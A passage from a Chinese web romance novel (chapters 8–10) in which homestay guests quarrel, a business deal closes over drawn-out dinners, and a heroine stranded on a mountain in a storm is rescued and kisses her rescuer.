为了不失去朋友,吴纯尽管受了委屈,也愿意哄着邱筱睢。
康贻撑着脑袋看戏,面前的桌上是一本翻开一字未动的寒假作业,她的视线在几人间不停来回,最后留在危涞身上。
她还小,不懂这些复杂的东西。
危涞把手放进英伦风大衣的口袋,她今天还戴了顶同色系的贝雷帽,短发一边用一只珍珠夹子别在耳后,路过康贻写作业的那张桌子,突然顿住,视线停在她炸开的头顶,然后。
用最无辜的语气说出了最伤人的话。
“你的头发,好丑。”
康贻满脸通红,炸成一朵烟花,“关你什么事!”
连手指头都发烫,她可以被所有人说,可是就是不想被危涞说!
为什么?
因为被别人说了头发丑,康贻还能安慰自己是他们没眼光,可是被危涞说了丑,那就是真的丑!
因为她这么好看,审美不会差的......
康贻捏着头发有些难过。
程萍在里间织毛衣,瞥见康贻偷懒:“快点写作业!”
家长群里每天都布置作业,每天都要接龙打卡,每天都只有康贻被点名挨骂。
她低着头绞手指,头发是她冲动自己剪的,有地方长有地方短,程萍气骂她“脑子抽风”,拿起剪刀又咔擦几下。
更是丑得见不了人......
吴纯觉得危涞说话过分了,康贻只是一个小女孩,她没必要怨气这么大。
她上前摸摸康贻向四面八方炸开的头发,像刺猬身上竖起的尖刺,“我觉得挺好看的呀。”
康贻却不领情,向后一扭,躲开吴纯的手。
丑就是丑嘛,干嘛非得说好看。
吴纯的手尴尬地停在空中。
危涞翻翻眼皮,也来了情绪。
她可以觉得好看,可是不能在她说了丑之后明着同她作对。
要她当什么好人?
危涞比她高一些,稍微低头,嫣红的眼尾向上挑起,这是她不高兴时最常见的表情。
她的情绪一点都不掩饰,就是在明晃晃的告诉吴纯,她为她说的话感到不爽。
吴纯咬唇,分明是感受到她的情绪,现在的人多善于伪装,她很少碰上危涞任何情绪都浮在面上的人,她顿了顿,脸热窘迫,不知道该怎么应对。
邱筱睢常常混在网红圈子里,她总知道该说些什么,她总可以帮自己说几句话的。
吴纯转头去找她,脸色一白。
邱筱睢的注意力一点没在吴纯身上。
她拽着旻浩的手还在质问:“你为什么没戴戒指?”
旻浩不想自己被危涞轻看,也没了哄女朋友的心情,语气不耐烦,“就一天不戴会怎样!”
见她又是一副要哭出来的样子,旻浩烦不胜烦,拂开邱筱睢的手,径直上了楼。
邱筱睢果然哭了,她本来眼睛就大,掉眼泪的时候眨也不眨,呆呆盯着旻浩离开的方向,看起来像个被人抛弃的漂亮娃娃。
吴纯脸色泛白,尽管她自己
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也有情绪,还是顺从地安抚好友,“别哭了小睢。”
邱筱睢不但不听她劝,被人一哄还有愈演愈烈的趋势,她拍开吴纯的手快步走到危涞面前,两眼睁圆,怒气冲冲。
“你离旻浩远点!”
危涞翻了个白眼,连笑都懒得笑。
到底谁离谁远点,你要不赔点钱给我呢?
吴纯被她打了一下,手背很快红了,顾不上关心自己,又快步上来拦住邱筱睢。
“筱睢,你别冲动......”
危涞只当面前没这么个人,她伸出手指在桌上的空白作业本上点点,“写错了。”
康贻则奇怪地看危涞一眼,她刚对着答案抄的哪错了?
“哦,可能是我看错了。”危涞风轻云淡,又摸出手机来玩。
邱筱睢被她无视,一拳打在棉花上,觉得自己闹了笑话窘迫极了,她涨红着脸跑上楼,吴纯默默低头,也跟着上了楼。
只有危涞连屁股都没挪,她靠在一旁玩手机,衣袖下露出一截纤细的皓腕。
康贻坐立难安,怎么还不走?
她本来就不会写,打算抄完糊弄老师,危涞在这让她怎么抄?自己好歹也是要面子的。
危涞低笑,看出她因为动不了手而产生的窘迫,眼见自己的恶作剧起了效果,好玩似的敲敲康贻的脑袋,“不会写就抄呗。”
笨。
程萍打着毛线听完全程,心一紧,暗道:还好这姑娘有对象,不然依她这样的脾气,知聿恐怕受不住。
......
吴纯知道邱筱睢没那么好哄。
她从进房间后就开始发作了。
几乎是质问的口吻:“你为什么不帮我?!”
吴纯抓着手臂,指尖泛白,明白她在怪罪自己没帮她说话。
可是,吴纯艰难地抬头。
她不也没帮自己吗?
这种情况不是一次两次了。
她有任何一次把吴纯当过真心朋友吗,呼之即来,挥之即去,为什么每次吵架,不论对错都得是吴纯道歉?
为什么一直是自己在迁就她,为什么所有人都该理所当然的对她好?
友情不是相互的吗。
毕业那年,吴纯咬牙花光了第一笔工资给邱筱睢买礼物。
哪怕这个月吃饭都成了难事。
她依旧满心期待邱筱睢见到礼物之后欣喜的模样。
因为她是她唯一的朋友。
可她呢!
吴纯从下午六点等到凌晨,等到的是什么?
一则充满幸福与喜悦的庆生朋友圈,里面有她的网红朋友,唯独没有她。
邱筱睢轻飘飘地说:
“我没通知你今天晚上来参加我的生日聚会吗?那可能是太忙忘记啦!”
“你不要生气嘛,其实也没什么好玩的。”
“啊,你给我买了这个作礼物呀!可是这是去年的款了耶~”
吴纯眼睛泛红,轻轻地说:“我必须得帮你吗?”
“我们不是朋友吗?”邱筱睢皱眉。
吴纯眼睛泛红,突然情绪激动:“你把我当过朋友吗!这么多年有认真听过我说一句话吗?难道不是因为没有人陪你出来玩你才喊我的吗?为什么每次都是我来迁就,我来妥协!我受委屈的时候你在哪,你有帮我说过任何一句话吗!”她一边说,声音发抖上扬。
邱筱睢愣住,完全想不到她会说出这样的话。
吴纯抹了把眼泪,跑出房间。
另一边,唐凌推开房门,站在露台上被冷风一吹又掀起一身鸡皮疙瘩。
他跟了程知聿三天,总算知道老板为什么不肯放人。
第一天甲方约吃饭,唐凌焦虑地把资料检查了一遍又一遍,程知聿却要他不用准备太充分,第一顿饭大约是谈不成的。
唐凌没放在心上,直到凌晨还在背稿。
没想到次日出发前,对方又临时派助理通知:李总今日忙,再约时间。
8. Chapter 8
唐凌捧着合同天都塌了,这意味着他还要准备一天,身理心理双重煎熬,早点上刑场不好吗!
程知聿也默了会儿,拍拍唐凌的肩膀,“出去吃饭吧。”
谈不谈生意都是要吃饭的。
两人在当地找了家特色餐馆,吃饭前唐凌习惯拍照给女朋友报备,想起对面还坐着人,不好意思地挠头。
程知聿笑笑,抿了一口茶水,“你们感情挺好的。”
他腼腆一笑,“我们从大学就开始谈了。”
又问:“程老师小孩几岁了?”
“我还没结婚。”程知聿说。
“那......”女朋友总有吧。
“也没。”他喝了口茶水,很平静。
唐凌震惊,拍拍自己的嘴巴,他就不应该说话。
两人吃完饭后,唐凌提议出去逛逛,被程知聿婉拒。
他点点头,表示理解,今天被客户放了鸽子,程老师肯定没有表面上那么镇定,现在说不定要回去“补课”。
不过自己都备战那么久了,休息一下不过分吧?
唐凌向前走,程知聿往回走,向左转进一条灯火明亮的商业街。
第二天,对方终于如约前来,唐凌紧张又忐忑。
李总入座后先是道歉,解释自己昨天为何爽约,说完又喊服务员拿酒,“今天我得好好向你们赔罪。”
唐凌想:既然是赔罪,那今天铁定能签合同了。
不料,长达两个半小时的饭局里,李总说经济说局势,讲环境讲山水,甚至连明天什么天气都聊了,就是一个字不提双方的合作。
唐凌沉不住气,端起酒杯要说话,又被程知聿一把拦下,就在他以为程知聿要有动作的时候。
他也只是笑笑,接着话题往下聊,继续侃大山......
不管李启越说什么,程知聿都能接上几句,就算有的地方实在不懂,他也是一个优秀的倾听者,低眉谦逊,像一块完美无缺的玉。
唐凌不懂,程知聿到底哪有公司里的人说的那么残酷。
他在自己心里的人设开始崩塌。
唐凌实在想不到崇拜那么久的人在谈判桌上居然是低眉顺眼的模样。
这些说程知聿在谈判桌上杀人不眨眼的谣言到底是哪来的?
他暗暗吐槽:这样真能把案子谈下来吗?
李启越举着杯子和程知聿碰杯,清脆一声响,他喉咙滚动几下,鼻子、脸、耳朵已经全红了,满意地看向自己身旁的年轻人,样貌出众,谦逊懂礼。
真是老丈人看女婿,越看越喜欢。
他开始打探程知聿的家庭情况,“小程家住在哪里?有女朋友没有?”
“我女儿今年毕业,比你小几岁,如果有时间可以约着见一面。”
唐凌震惊,缓缓看向程知聿。
程知聿捏着酒杯,低笑,“好事将近。”
唐凌便震上加震,不理解他这么做的意思。
如果要签合同的话直接说没有不就好了,李总这么中意他,既拿下案子又有了女朋友,两全其美。
李总放下酒杯,面上露出遗憾,“那就等着喝你喜酒了。”
直到最后散场也没提合作的事情。
两人西装革履,染得一身烟酒味,唐凌钻进便利店买水,又递给程知聿一瓶。
“谢谢。”
他看出唐凌颇有微词,冰凉的液体下肚,被冷风一吹,笔挺的西服看起来有几分颓废,冷润的嗓音被风吹散:“你对我有意见?”
他笑,居然露出几分不羁的神态。
“没有。”唐凌憋在心里,只敢腹诽,台面上的漂亮话说的那么厉害,怎么一到李启越向他抛出橄榄枝的时候反倒脑子出了毛病。
李启越这条大鱼,可比累死累活打工几十年得到的多得多。
喜不喜欢她女儿当另说,只要合同签下了,随便找个理由甩了便是,何必自讨苦出,没见李启越听他说完那句“好事将近”之后的脸色吗?
唐凌可是听说,除了自家公司,李启越还在接触其他人。
被放鸽子那天多半就是被人家截胡了。
程知聿看他一眼,眼中戏谑:“你愿意当他女婿?”
“我当然不愿意!”唐凌想也没想,入赘哪有那么简单?他有女朋友的,过不了多久就要订婚,他何必因为工作惹得自己的生活不开心?工作没了可以再找,女朋友没了......
程知聿低头笑。
瞬间,唐凌默然,明白了他的意思。
他想起来,程知聿或许依旧和读书时一样,有自己一套奇怪的标准。泾渭分明,“正直”得不正常,就像两棵树,一棵歪得要命,一棵直得要命,结果你告诉我,他俩是同根生。
那是读书时唐凌听别人说的话了。
尽管后来程知聿升上重点班也没有和之前一起翻围墙上网吧的朋友断了联系。
那时高中晚自习下课的时候重点班门口总会围站着几个不好好穿校服的学生,染着五颜六色的头发,同学们都躲着走,却不是来闹事的,三三两两靠在栏杆边安静等人。
直到清瘦的少年背着书包出现,又勾肩搭背拥过去,压着他的肩膀,把书包丢给那少年,吵吵闹闹,美其名曰:好好学习,帮助他多读点书。
为这事,年级主任找程知聿谈过几次话,要他把心思放在学习上,少和不三不四的人来往,程知聿没理,下课后依旧和“狐朋狗友”呆在一起。
他一向是这样,认定的东西就是死的,随他人怎么说,永远不会变。
读书也好,上班也好,都被排除在个人之外。
如此,唐凌明白。
程知聿又何必因为工作给自己带来不必要的麻烦。
第三天李总照常约饭。
酒过三巡。
程知聿出言感谢,又说明日就要离开。
李总还是醉醺醺的模样,“今夜不醉不归!”
程知聿起身告别,礼貌地笑,“明早还要赶车。”
见他是真的要走。
唐凌提着包跟在后面,焦灼,生意呢?
真当来这交朋友的啊!
两人迈出包厢门,李总喊秘书送客,直到秘书通知客人已经上车准备离开,他脸上才出现烦躁,“喊他们回来!”
危涞敷着面膜看剧本,电话那头问她:“wren,什么时候回伦敦?”
“拜托,起码让我过完年吧。”
一阵爽朗的笑声,“中国人过年讲究团圆,wren你在哪里过年?一个人在外边还不如回伦敦,剧团里的朋友都很想你,你知道的,尤其是Harris。”
她揭掉面膜,听到Harris的名字感到头疼。
她从未见过如此有毅力的人,据说在某教授的课上对危涞一见钟情,此后就像狗皮膏药一样怎么拽都拽不开,可偏偏人家只是“碰巧”出现在危涞面前,“碰巧”认识她的朋友一起聚会,又“碰巧”在她之后对话剧感兴趣加入了剧团。
长得帅涵养好,根本找不到理由轰他走。每次同她说话的时候琥珀色的眼睛总是转也不转地盯着她,危涞受不了这样的深情,身上激起一身鸡皮疙瘩。
“Harris,你能不能别这样看我?”很烦,她对外国菜没兴趣。
Harris听完她的话总是一副
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伤心欲绝的模样,然后肉麻地告诉她:“我的眼睛为你而生。”
额。
危涞很无奈,印象中记得Harris有喂流浪狗的习惯,他看流浪狗的眼神分明和危涞无异。
危涞被他盯得受不了的时候甚至把自己想象成路边的那只流浪狗,然后安慰自己,他不过是长了双深情的眼睛而已。
总而言之,Harris不在国内,但是她依旧不满:“谁告诉你我一个人在外面的,边子瑜?”
“嗯哼,你的朋友。”
又是她。
危涞真是不懂,边子瑜和Kurt只在戏剧院见过一次,隔着大洋洲,两人怎么能成为朋友,而且乐此不疲地分享她的囧事。
拜托,她的闲言碎语都从亲爱的祖国传到大洋彼岸去了。
“对了,子瑜还说要你把她从黑名单拉出来。”Kurt喊边子瑜的名字喊得磕磕绊绊。
危涞批了两个字:“做梦。”
她皱起眉头,“先不说了。”总觉得隐隐听见一阵阵,断断续续的哭声。
从敷面膜前就开始了。
打开门,果然见楼梯边有一张影子,把头埋在膝盖里,似乎是害怕挡住别人的路,还奋力把自己往角落里塞。
危涞沉吟片刻,抬手关门。
她没有多管闲事的习惯。
吴纯躲在角落,膝盖上的布料濡湿,双眼红肿一看就是哭了很久。
周围安静得可怕,感应灯照不到她在的位置,摇了两下,很快灭了。又只剩下她一个人,吴纯鼻子一酸,擦了两把眼泪,眼泪一颗接一颗往下掉。
她是个容易内耗的人,从房间出来后就一直在反思自己是不是把话说得太过了。
或许邱筱睢根本没那个意思只是她自己想得太多呢?
眼泪怎么擦也擦不完,吴纯捏着一团纸,陷入两边都走不通的迷宫。
身后“咔擦”一声响,客房门被人打开,吴纯慌忙擦去眼泪,把头低得更下,怕丢人被旁人看见红肿的双眼,又把自己往角落里塞了塞。
脚步声踩在木地板上,最终在她身后缓缓停下。
瞬而,肩上一沉,温暖的气息盖在吴纯身上,混合着柑橘玫瑰轻盈的香气,那人只是静静的站定,什么话也没说。
转身,“喀”,房门又被扣上。
没人再出现。
吴纯紧抓住手臂,躲在这件陌生的大衣下,所有的情绪再一次爆发。
她抱着衣服回房间的时候,邱筱睢不在,也许是觉得尴尬,索性躲到旻浩旻浩房间避难。
她今晚应该不会回来了。
吴纯想。
洗漱好准备睡觉的时候,入口处传来开锁的声音,邱筱睢像没事人一样,笑嘻嘻地看像被子里的人,“我和旻浩说好了,咱们明天上山吧!”
还是没和她商量。
吴纯把头蒙在被子里,声音很闷,“你们决定就好。”
邱筱睢好一阵子没说话,她的视线停过衣架上小心挂着的大衣,疑惑问道:“小纯你什么时候有这件衣服的?”
她记得这件大衣是当季的秀款,经典的印花款式配双层交错腰带,很简单却不朴素,外翻的领口露出内里衬料,暗色的金属扣上是他家特有的表示,小姐妹还曾和她抱怨这件衣服千金难求。
吴纯怎么会有?
吴纯抓紧手指,还是把实话告诉了邱筱睢,“是那个短发女生借给我的。”她看见了她的短发。
瞬间,房间里陷入死一样的沉寂。
邱筱睢的视线在这件奢牌大衣上盯出一个洞,她眼神冷冷,语气热烈,“你说,明天喊她一起去爬山怎么样?”
9. Chapter 9
危涞答应了。
嘈杂的音乐声隔着手机屏幕传来,边子瑜咬一口旁边递来的西瓜,含糊不清,分明是笑的:“你就是找骂。”
分明知道人家对你有意见还贱兮兮的凑上前去。
危涞涂指甲油的手抖了一下,水红色的甲油越过指甲边缘,“啧。”
“我找骂她找抽行了吧?讨厌我还非得喊我去爬山,烦不烦?”
倒不是闲得慌愿意参与邱筱睢和她男朋友之间情比金坚的爱情故事,她喜欢看戏没错,但对这种小孩的糖水片没兴趣,要不是邱筱睢主动招惹。
借出去的衣服叠起来被人用纸袋还回,深色的大衣上沾了一团红色的毛絮,和邱筱睢毛线帽的颜色一样。
她还是气不过,扬起雪白的腿往纸袋子身上踢了一脚。
牛皮纸凹下去一块。
边子瑜乐了:“呦,小学生啊。”
烦死了,她的东西就必须只能是她的,她要独一无二的,只能完完全全只属于她。
任何人动了别的心思都不行。
饶是边子瑜和她认识多年也忍不住问:“如果我看上了你男朋友,你成全我们不?”
是在牌桌上。
危涞笑着睨她一眼,甩出一张幺鸡,爽快回答:“当然成全。”
“真的?”边子瑜打牌,怀疑,“字面意义上的?”
危涞推牌,胡了。无辜地伸手讨要,“生理层面的。”
她和她男朋友看上眼了,她又算什么好东西?她男朋友和她朋友对上眼了,她男朋友又算什么玩意?
边子瑜默了默,老实递出一张票码,算了吧,危涞是真能做出这样的事来,哪边更重要她还是分得清楚。
边子瑜知道她是个执拗脾气,却还是忍不住呛上两句,“也不知道我们小涞走的什么运,身边尽招些烂人。找个时间去庙里拜拜,去去晦气。”
危涞盯她一眼,气道:“确实得去去晦气。”
这还一个添堵的。
“关我什么事?”她看热闹不嫌事大,又开了一座香槟塔给危涞,“给你去晦气,够不够意思?”
“嘭!”小礼炮炸开的彩带落在边子瑜的黑发、肩膀上,看起来滑稽,她却不在乎,搂笑着过一旁撒花的男模,笑道:“还不说声谢谢小涞姐姐?”,靠在她肩膀的男人脸色微红,望着屏幕那边难为情地开口:“谢谢小涞姐姐。”
好恶心。
危涞心中一阵恶寒,摁断电话,又把边子瑜关进小黑屋。
次日清晨,危涞出门时碰上从程知聿房间出来的林秀禾,“奶奶。”
林秀禾朝她笑着点头,“这么早去哪呢?”
危涞直说爬山,落了话音,她探头朝黑漆漆的屋里看,一房冷气,冷哼:这人还真是自在,惹了事就跑,为了躲她连年都不过了。
胆小鬼,她会粘着他不成。
难免不舒服又暗暗骂了程知聿几声。
林秀禾看见她的脸窝在白色绒绒帽里面,娇俏又可爱,心生欢喜,眼尾的皱纹紧了紧,这姑娘长得实在讨人喜欢,“今天得多穿点衣服。”
这几日溪江天气多变,早几天雪还下个不停,昨天又出了大太阳,今天也说不明白。
危涞看了眼没亮的天,没放在心上,毕竟比起冷,她更怕穿得臃肿。
朝林秀禾挥挥手,她踩上停在民宿门口的那辆车。
旻浩开车,看见她还觉得不自在,害怕他的劣行被戳穿,提心吊胆,装模做样咳嗽两声,“那,就出发了?”
诡异的气氛,没人回话。
邱筱睢小声嘟囔:“烦死了,这个时间本来都上山了。”
这个时间?
危涞果真低头,认真地看表,离约定时间明明还有几分钟,是她早到了好不好。
吴纯左右为难,干脆闭紧嘴巴不说话。
宜城。
见事情落下来,唐凌总算松了口气。
他看着程知聿收起合同,心中愧疚,“我来吧,哥。”
程知聿盯他一瞬,松开手,没说什么。
李启越摇头叹气,看向程知聿的眼中是欣赏,“下回我去溪江你可得好好招待。”
程知聿温润地笑,刚想说“一定”,又听李启越恭喜道:“应当是你订婚或结婚时?”
两人一怔,显然没想到他把这件事放在了心上,只能说:“无论什么时候来都是贵客。”
返程途中,唐凌几次欲开口,都被那正装男人疲惫的面色堵了回去,他挠挠脑袋,总觉得这位学长一直是精神紧绷的样子。
其实连着几日频繁的应酬确实让人劳累,连他也受不住,念书的时候总觉得穿上西装就是大人,等真正成了职场打工人又开始怀念从前。
但他总觉得令程知聿疲惫的不只是工作。
或者,根本不是工作。
唐凌收回视线。
人啊,真是奇怪的生物。
“休息一下吧,下半段换我来开车。”程知聿突然开口。
“啊?...好。”
车子停在服务区,唐凌朝前辈摆摆手机,“我去打电话。”
程知聿默许,打火机一燃,烟雾熏得整个人不明白,西装笔挺,一股子社畜味道,他低头看向右手的创口,又转向车后排那个精致的包装袋。
袋子里装着一个四不像的木雕娃娃,是宜城的特色。
心间一沉,草草灭了烟。有些动机连他自己也说不明白。
“还差一段路。”
唐凌答着女友的话,斜眼别见程知聿也下了车,他本就是骨骼优越的类型,浓眉朗目,身姿颀长,此时被虚无的烟一打,连那点亲近感也没了,更显疏离。
“你怎么不说话?”女友疑惑。
唐凌上话不接下话,“我在想,什么时候能长成成熟男人的样子。”
女友乐得咯咯笑,安慰他:“或许,下辈子?”
下半程路由程知聿开车。
唐凌落得空闲,便合上眼休息。
喊醒危涞的是吴纯,她缓了缓,穿着雪地靴踩在松软的雪上,脚印落下长长的一串,哈出一口白雾,舒服地伸了个大大的懒腰。
叹慰,人果然得活在没有天花板的地方。
远处的黑褐色怪石一截覆盖着厚厚的雪层,放眼望去,雪山绵延,高挺的树几乎蹿入云霄,天很蓝,金黄的光芒洒在星星雪子上,反射出奇异的光点,但还是很冷,危涞裹紧羽绒服,把大半张脸藏在领子下。
松针林上落下一根雪针。
“谢谢你。”一路上默不作声的吴纯轻声说。
危涞用脚在雪上踩出个兔子,又一脚踩平,“有什么好谢的。”衣服是她主动给的,扬起漂亮的眼睛看向跑得老远的那对笨蛋情侣,偷穿了她衣服的人怎么不来
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说声谢谢?
跺干净脚上的雪,挑眼望她,“与其说谢谢,还不如朝我发一通火来得痛快。”
她对她甩脸色时可没想过事后要道歉。
吴纯动了动嘴巴,终究没说话。
“算了算了。”危涞自觉无趣,“你留个电话给我,待会走的时候通知我。”
与其牵根绳子同他们一起走,还不如自己转一转。
今天路上的背包客格外少,行色匆匆,遇见邱筱睢三人时还好心通知:“早点下山,今天天气不好。”
邱筱睢抬头一眼,明明是万里无云的好天气。
几人沿着栈道往上走,远远便看见一张如镜子般透亮的湖,好似被遗落在人间的蓝宝珠,山谷的风掀起一阵绿波,在覆满薄雪的石块上驻足。
旻浩眉心一闪,扛起露营装备,“我去找地方扎帐篷。”
他跑进林间,没看见身后女友冷冷的目光直落在他身上,一直到视线中的身影消失不见。
吴纯望着平静的湖水,主动破冰,“筱睢,我帮你拍照吧?”她的脸染上高原红。
邱筱睢回头一笑,“不用啦,你在这休息一下,我去找点木棍生火。”
吴纯点头,心中却很疑惑,邱筱睢无论去哪都要出片,她...居然不拍照吗?
是不是还在生她的气?
吴纯望着碧蓝的湖水出神。
她蹲在栈桥上,一抹风撩起衣角的系带,接着更多的系带被卷进风里。
抬起头,方才还在头顶的晴空一瞬间被黑沉沉的云取代,了无生机,凉丝丝的雨点落在手背,吴纯一眨眼睛,大声喊:“筱睢!下雨了!”
邱筱睢听见声音很快从林子里跑出来,“旻浩呢?”吴纯又问。
鸭舌帽在脸上落下阴影,邱筱睢捏着口袋没说话,豆大的雨点伴随轰隆隆的雷声刹那间落下,两人站在雨下,四处空旷,慌忙躲进树底下,“旻浩!”吴纯大声喊,声音撞在湖边晃回来。
“别管他了。”邱筱睢声音很冷,“我们快点下山。”
吴纯又拿出手机给危涞打电话,“嘟.......”,邱筱睢一把抢过,大声喊道:“我说别管他们了你听不懂吗!”
吴纯被吓住。
她强拽着吴纯的手,任她怎么说话都不理睬,恰好旻浩用手挡着雨匆匆跑来,“她呢?”
巨大的轰隆一声,几人纷纷被吓住,脸色变得苍白,天完完全全变得沉重,厚重的乌云中拼命挤出一丝光亮,最后还是消失不见。吴纯发抖,周遭的树枝摇摆,簌簌作响,方才绿宝石的湖水蒙上几层迷雾,荒凉狰狞。
“快点下山!”有经验的登山者从他们三人身边跑过,这样的天气呆在山上只有死路一条!
一道惊雷劈在远处的山角上,狂风大作,雨水糊在脸上连路也看不清,脚下湿滑,石面上结出一层薄冰,“啊!”邱筱睢脚滑,踩着石子差点摔倒。
“小心!”旻浩一把拖住她,两人对视一眼,不敢再拖延,快步跑下山。
“蛇!”吴纯踩上一块岩石惊骇地后退几步,一条藏匿在石缝里的长蛇吐出蛇信子将头外探,一瞬,躲进岩石里消失不见。
心跳不止,吴纯后怕地朝后看,祈祷危涞千万碰上别的登山者已经下了山。
越害怕的事就越可能发生。
吴纯刷白了脸。
危涞真的没下山。
10. Chapter 10
租来的车后备箱里放着几条速干毯,旻浩难掩脸上慌张,指节泛白,他抓着毯子。
见到危涞的最后一个人是他。
他强找借口安慰自己,她、她说不定搭别人的车回民宿了呢?
差强人意的借口很难让人信服,吴纯又拦住几个行色匆匆的下山者,脸色慌张,说没见过这个人很快驾车离开。
狂风呼啸,手脚早已经冷得没有知觉,她唯一能做的事情就是打电话。
不停地打电话。
雨更大了,打在车窗上又汇成另一场暴雨,水汽钻进车窗在座椅上滚下水滴,雷声又快又急,天空轰隆一声,“啊!”蓦地照亮车内三张惨白的脸。
吴纯手中的电话在最后一声“嘟”声后戛然而止。
身边的邱筱睢脸色煞白,大眼睛慌张不安地看向吴纯,如苍白毫无血色的瓷娃娃。
怎么办?
她真的出事了怎么办......
邱筱睢怯懦地低头,眼底反上丝丝红色。
冲进来的雨点像针扎在手上,车顶“劈里啪啦”敲响一首奇异怪诞的鼓声。
三人一时间居然都没能开口说话。
突然间——
骤然响起的音乐声撕裂车内的寂静——
邱筱睢被惊了一跳。
吴纯则是慌张地去抓,手中的屏幕黑暗,不是她的?
欢快的铃声依旧,被前面那人抓在手中。
邱筱睢死死盯着旻浩手里不停闪烁的手机,咽了口唾沫,旻浩手指颤抖,几人都把希望寄托在这通电话上,指尖打滑,居然错点向挂断。
“你干嘛!”邱筱睢惊喊。
下一刻那通电话再打了过来。
是一道低哑疲惫的男声,“你们在哪?下山了没有?天气不好尽快回来。”
是程知聿。
“她回去了没有?”吴纯急着问。
那边顿了一下,语气突然变得很沉,“谁还在山上。”
几人吓了一下,“危、危涞......”
程知聿调转车头,客栈里几人脸色沉重,林秀禾双手合十紧锁眉头不停地祈祷。
万分忏悔,别人看不出,她一辈子活在山里难道还看不出吗,她明明看出今天天气不对,为什么,为什么就是没有开口阻止他们上山呢?
如果那姑娘有事...打住!不能再想了,没事的,一定没事的!
程萍拢住母亲颤抖的肩,轻拍安抚,脸色亦没有好到哪去。
往日神山不再,隐藏在深重的黑雾下,树影摇曳,像黑夜中的鬼魅。
车里开着灯。
邱筱睢一直在咬指甲,血肉斑驳,她眼中布满茫然,精心打理过的发型混着雨水和冷汗粘在脸上,“我们走吧?程老板会找到她的,我买票,最快的一班飞机,我们走吧,我不想呆在这了......”
旻浩抓着方向盘手心沁出汗来,他没胆子当着女友的面把见过危涞的事情说出。
这个时候吴纯反倒成了主心骨,她焦心不已,却还要负责安抚邱筱睢,“别担心,她一定没事——”说到最后,惊雷又一次劈下,划亮整片天空,三人冒出一身冷汗,吴纯无助地埋头,“欸——”深深的,再也说不出任何一个字。
“嘭嘭嘭!”车窗被人重重敲击,程知聿带着一支救援队,灯光打在面上雨水纵横,风太大把他的声音吹散一半,“现在马上回去!”
他身后穿深色救援衣的男人指挥队员,“手机信号消失在格布湖,珍惜黄金救援时间!”
“是!”
“是!”
一行人很快消失在迷雾中。
“我也上去——”他的手拔向安全带,另一只手迅速摁上来,邱筱睢明显用了力,“你不许去!”
旻浩没想到她的力气这么大,尖锐的指甲嵌入肉里,他烦躁地大喊:“你能不能别在这个时候闹!这是一条人命!”
邱筱睢只是死死抓住不放手,无助地重复那句话,“你不许去,你不许去,不关我们的事——”
吴纯冷静极了,对着旻浩说:“你没有救援经验上去只会添麻烦。”
邱筱睢的眼泪忽然“吧嗒吧嗒”掉了下来,她后悔极了,“都是我的错……”
只当她是为了喊危涞上山这件事后悔。
车内一片沉重。
“如果不是我她就不会出事了……”邱筱睢抽泣不止。
“唉。”不知道谁叹了声气。
雨湿路滑,走的每一步都要小心谨慎。
队员举着对讲机:“没有发现……等等,湖边有一座玛尼堆。”
“路边到处都是玛尼堆,加快脚步。”纪成安说道,台风马上登陆,留给他们的时间不多了。
“队长!找到手机了!”没多久另一只小队大声喊道。
两人赶忙往位置赶,手电筒在沙砾上寻找,一只白色的手机安安静静地卧在湖边。
被雨淋湿的大掌捡起手机,屏幕已经碎得不成样子,摁开机键毫无反应。翻过后盖,蓝宝石玻璃材质的镜片也被砸出数道裂痕。
手电筒一转,亮堂的光穿过豆大的雨点落在垒得高高的玛尼堆上,几人心一紧,“继续找!”
冒着雨不知道走了多久,纪成安皱眉转向四周,雾已经浓得连手电筒都打不穿,他提醒程知聿,“留给我们的时间不多了。”
他要为成员的安全负责,再找不到只能下山。
程知聿表情凝重,雨水错在浓眉之间,忽然,眸光一闪,迈大步跑向林中。
前面有个留给护林员休息的小屋。
燃起的火堆燃起希望。
昏暗的木屋里,她裹着毯子把自己缩成一团,毫无血色的唇,短发沾着树叶粘在脸上,琥珀色的眼睛暗淡无光,望向来人时,手握在背后,紧紧抓着一把匕首。
看见他的瞬间,紧绷的弦一瞬间松弛,危涞红着眼睛丢出那把匕首,“哐当”,铁器和石块碰撞在一块儿。
程知聿喘着气,盯着她拿起对讲机,“找到了……”
还好找到了。
“还能不能动?”她在他面前少有这样狼狈的时候,而他对待伤患总是用着最好的脾气,程知聿把干爽的衣服脱下披在她肩膀上,“我们得快点下山。”
危涞没有动作,她的眼神如坠冰窖,掌心被尖锐的石块划出数道细密的伤口,程知聿于是更加耐心,望着她颤动的眼睫,“我背你......”
他的话还未说完就被淹没在那个咸湿的吻里,她的手冰冷刺骨,擦过下颌温热的皮肤抓住程知聿的领子就像抓住了唯一的救命稻草,程知聿皱眉,本能推开。
却被她步步逼近,“吱呀”一声,他被扑倒在硬邦邦的榻上,程知聿肌肉紧绷,单手撑起半边身子。
她全身的力气都压在程知聿身上,不知摁到哪处伤口,眼泪不止,咸涩的泪水落在他的颈侧,他难得有怜惜,指腹拨开脸上粘着的头发,却在碰到前堪堪停下。
她越界,他不能越界。
声音沙哑,“我带你下山。”
他抓住她的手臂。
猝不及防。
一个莽撞冒昧的吻又撞在他唇角,男人的身型明显僵了一下,手掌再次握拳,冰冷潮湿的气息洒在下颌,混着咸湿的眼泪,柔软的唇像冰块一样慢慢融化,手攥住衣领,越来越紧,越来越紧,像在报复宣泄一样,没有被驯化的小兽不知轻重,贝齿撕咬,血腥味弥散在两人唇间。
他被她逼得无路可退,也知道不合时机不合礼数。
“咳咳……”纪成安出声打断,再次提醒,“真得走了。”
终于下了山。
“小腿、手臂上都有伤,问题不大观察几天就可以出院。”医生在走廊上交代情况。
“谢谢。”程知聿道谢,转身被好友一把揽住,纪成安向来不知轻重,一拳打在他肩膀上,朝病房里努努嘴巴,“什么情况?”
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>“什么什么情况。”
“哟,还装呢,孤男寡女,干柴烈火,你猜猜哪段能播?”
程知聿的脚步停在病房前,连衣服都没来得及换,胜在出挑的身高和优越的眉骨,头发落在眼前挡住视线,反倒平添几分颓靡的少年气,引得人频频侧目。他没多说,因为根本不知道说些什么,从纪成安手里抽过缴费单,“看着她,我去缴费。”
“喂!”俊挺的背影消失在眼前,纪成安小声嘟囔:自己对象要别人看着,有病?
他的视线重新回到病房内,眼睛一眨,方才隆起小包的病床上空空如也,人呢!
危涞手腕上缠着绷带,她推开车门,骨头缝里疼得厉害,司机在后面喊:“喂!你还没付钱!”
“等会转你。”
危涞身上的病号服还没脱下,她迈上楼梯,膝盖的伤口撕裂开,雪白的纱布里渗出血,不管不顾地往楼上冲。
